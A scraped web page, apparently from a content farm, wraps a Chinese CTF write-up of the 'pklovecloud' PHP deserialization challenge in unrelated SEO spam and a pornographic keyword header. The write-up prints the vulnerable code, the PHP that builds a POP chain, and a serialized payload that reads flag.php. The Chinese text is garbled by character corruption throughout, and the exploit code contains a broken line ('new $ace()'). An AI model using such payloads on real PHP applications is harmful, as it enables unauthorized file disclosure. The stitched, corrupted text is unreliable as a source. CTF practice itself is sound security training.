中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁(yè) > news >正文

網(wǎng)站關(guān)鍵詞詞庫(kù)怎么做谷歌seo關(guān)鍵詞排名優(yōu)化

網(wǎng)站關(guān)鍵詞詞庫(kù)怎么做,谷歌seo關(guān)鍵詞排名優(yōu)化,給網(wǎng)站做維護(hù)是什么工作,微信公眾網(wǎng)站開發(fā)1.靶場(chǎng)環(huán)境 ctfhub-技能樹-pklovecloud 引用題目&#xff1a; 2021-第五空間智能安全大賽-Web-pklovecloud 2.過(guò)程 2.1源代碼 啟動(dòng)靶場(chǎng)環(huán)境&#xff0c;訪問(wèn)靶場(chǎng)環(huán)境&#xff0c;顯示源碼&#xff1a;直接貼在下面&#xff1a; <?php include flag.php; class pks…

1.靶場(chǎng)環(huán)境

ctfhub-技能樹-pklovecloud

引用題目:

2021-第五空間智能安全大賽-Web-pklovecloud

2.過(guò)程

2.1源代碼

啟動(dòng)靶場(chǎng)環(huán)境,訪問(wèn)靶場(chǎng)環(huán)境,顯示源碼:直接貼在下面:

<?php  
include 'flag.php';
class pkshow 
{  function echo_name()     {          return "Pk very safe^.^";      }  
} class acp 
{   protected $cinder;  public $neutron;public $nova;function __construct() {      $this->cinder = new pkshow;}  function __toString()      {          if (isset($this->cinder))  return $this->cinder->echo_name();      }  
}  class ace
{    public $filename;     public $openstack;public $docker; function echo_name()      {   $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file))         {              return file_get_contents($file); }  else { return "keystone lost~"; }    }}  
}  if (isset($_GET['pks']))  
{$logData = unserialize($_GET['pks']);echo $logData; 
} 
else 
{ highlight_file(__file__); 
}
?>

2.2代碼審計(jì)思路

進(jìn)行一下代碼審計(jì),記錄一下思路:

1.直接看主函數(shù):

if (isset($_GET['pks']))  
{$logData = unserialize($_GET['pks']);echo $logData; 
} 
else 
{ highlight_file(__file__); 
}

?要進(jìn)入if語(yǔ)句中,就必須傳入一個(gè)get參數(shù)pks,然后對(duì)pks參數(shù)進(jìn)行反序列化,獲得logData對(duì)象,并且輸出這個(gè)logData對(duì)象。

2.echo在輸出一個(gè)對(duì)象時(shí),是去調(diào)用這個(gè)對(duì)象的__toString()方法,因此我們跟蹤到logData的__toString()方法:我們發(fā)現(xiàn)聲明的acp對(duì)象有__toString()方法:


class acp 
{   protected $cinder;  public $neutron;public $nova;function __construct() {      $this->cinder = new pkshow;}  function __toString()      {          if (isset($this->cinder))  return $this->cinder->echo_name();      }  
}  

3.這就說(shuō)明在主函數(shù)中要echo一個(gè)logData對(duì)象,我們只需要讓這個(gè)logData對(duì)象是acp類即可,因此我們構(gòu)造pop鏈時(shí)首先創(chuàng)建一個(gè)acp對(duì)象。

4.我們觀察到acp對(duì)象的__toString()方法中的if語(yǔ)句,要進(jìn)入到這個(gè)if語(yǔ)句,就需要acp對(duì)象的cinder參數(shù)不為空,并且最終會(huì)return這個(gè)acp對(duì)象的cinder屬性的echo_name()方法。

5.通過(guò)上面我們構(gòu)造一個(gè)pop鏈:

acp->cinder->echo_name()

6.我們發(fā)現(xiàn)聲明的pkshow和ace對(duì)象都有echo_name()方法,而很明顯pkshow的echo_name()方法是寫死的沒(méi)有參數(shù)傳入的,因此我們需要使用ace對(duì)象。所以根據(jù)上面的調(diào)用鏈,我們需要讓acp對(duì)象的cinder參數(shù)為ace對(duì)象。

綜合以上幾點(diǎn),我們需要構(gòu)造pop鏈:

$acp=new acp();
$ace=new $ace();
$acp->cinder=$ace;

7.通過(guò)以上pop鏈,已經(jīng)可以調(diào)用到ace對(duì)象的echo_name()方法了,我們?nèi)タ催@個(gè)方法的執(zhí)行邏輯:

class ace
{    public $filename;     public $openstack;public $docker; function echo_name()      {   $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file))         {              return file_get_contents($file); }  else { return "keystone lost~"; }    }}  
}  

發(fā)現(xiàn)最終的結(jié)果是返回$file指向文件的內(nèi)容,因此我們?cè)O(shè)置$file="flag.php",而我們要進(jìn)入if循環(huán),就需要滿足$this->openstack->neutron === $this->openstack->nova,也就是ace對(duì)象的openstack參數(shù)的neutron屬性和nova屬性相等,我們發(fā)現(xiàn)acp對(duì)象有這兩個(gè)屬性,因此我們要讓ace對(duì)象的openstack屬性為acp對(duì)象:需要新建一個(gè)acp對(duì)象。

$this->openstack = unserialize($this->docker);

根據(jù)這行代碼我們判斷openstack參數(shù)是由docker參數(shù)反序列化得到的,因此ace對(duì)象的docker參數(shù)就是acp對(duì)象。下一行代碼:

$this->openstack->neutron = $heat;

這行代碼中heat參數(shù)并不存在,因此neutron的值為null,我們需要讓nova參數(shù)的值也為null,因此我們?cè)诼暶鱝cp對(duì)象的時(shí)候,不需要給nova賦值,結(jié)合上述構(gòu)造pop鏈:

class acp 
{   public $cinder;  public $neutron;public $nova; 
}  
class ace
{    public $filename;     public $openstack;public $docker; 
}  
$acp=new acp();$acp2=new acp();$ace=new $ace();
$ace->filename="flag.php";
$ace->docker=serialize($acp2);$acp->cinder=$ace;
echo serialize($acp);

這樣最后輸出的值就是我們構(gòu)造的惡意參數(shù):

得到pop鏈:

O:3:"acp":3:{s:6:"cinder";O:3:"ace":3:{s:8:"filename";s:8:"flag.php";s:9:"openstack";N;s:6:"docker";s:58:"O:3:"acp":3:{s:6:"cinder";N;s:7:"neutron";N;s:4:"nova";N;}";}s:7:"neutron";N;s:4:"nova";N;}

訪問(wèn)index.php構(gòu)造惡意參數(shù)pks,F12查看源碼獲得flag:

http://www.risenshineclean.com/news/2010.html

相關(guān)文章:

  • 坪山附近公司做網(wǎng)站建設(shè)哪家效益快十大廣告投放平臺(tái)
  • 做社交網(wǎng)站多少錢網(wǎng)絡(luò)推廣是干什么的
  • 珠海網(wǎng)站推廣優(yōu)化最近的新聞大事20條
  • 建設(shè)網(wǎng)站公司 優(yōu)幫云seo外鏈推廣工具下載
  • 論壇網(wǎng)站建設(shè)用工具軟件上海關(guān)鍵詞優(yōu)化公司哪家好
  • 網(wǎng)站建設(shè)合同附件格式搜索引擎有哪些類型
  • b2b網(wǎng)站有那些企業(yè)網(wǎng)站優(yōu)化排名
  • 麻涌鎮(zhèn)網(wǎng)站建設(shè)做網(wǎng)頁(yè)多少錢一個(gè)頁(yè)面
  • 基于b s結(jié)構(gòu)做的網(wǎng)站寧波seo軟件免費(fèi)課程
  • 浙江省專業(yè)網(wǎng)站制作網(wǎng)站建設(shè)優(yōu)化近義詞
  • 京東網(wǎng)站建設(shè)的特點(diǎn)網(wǎng)絡(luò)域名怎么查
  • 百度網(wǎng)站建設(shè)是什么志鴻優(yōu)化網(wǎng)官網(wǎng)
  • 黃山搜索引擎優(yōu)化dz論壇seo
  • 美工素材網(wǎng)站有哪些安徽搜索引擎優(yōu)化seo
  • asp.net網(wǎng)站運(yùn)行助手推廣app的營(yíng)銷方案
  • 燈飾外貿(mào)網(wǎng)站百度手機(jī)助手app
  • 后臺(tái)系統(tǒng)免費(fèi)模板網(wǎng)站免費(fèi)游戲推廣平臺(tái)
  • 姑蘇區(qū)做網(wǎng)站seo教程搜索引擎優(yōu)化入門與進(jìn)階
  • 煙臺(tái)定制網(wǎng)站建設(shè)報(bào)價(jià)seo工具是什么意思
  • 國(guó)示范校建設(shè)網(wǎng)站品牌廣告語(yǔ)經(jīng)典100條
  • 網(wǎng)站后綴twnba最新消息球員交易
  • 網(wǎng)站建設(shè)的業(yè)務(wù)范圍手游推廣個(gè)人合作平臺(tái)
  • 在網(wǎng)站上做網(wǎng)絡(luò)課堂軟件多少錢線上營(yíng)銷推廣方案
  • 網(wǎng)站建設(shè) 資質(zhì)昆明網(wǎng)絡(luò)推廣
  • 動(dòng)態(tài)html做網(wǎng)站背景離我最近的廣告公司
  • 收費(fèi)搭建網(wǎng)站多地優(yōu)化完善疫情防控措施
  • 做網(wǎng)站后期維護(hù)工資貼吧西安百度推廣外包
  • 網(wǎng)站建設(shè)內(nèi)部流程圖營(yíng)銷策略有哪些
  • 合肥網(wǎng)站建設(shè)推廣百度網(wǎng)站大全舊版
  • 十堰網(wǎng)站設(shè)計(jì)營(yíng)銷團(tuán)隊(duì)公司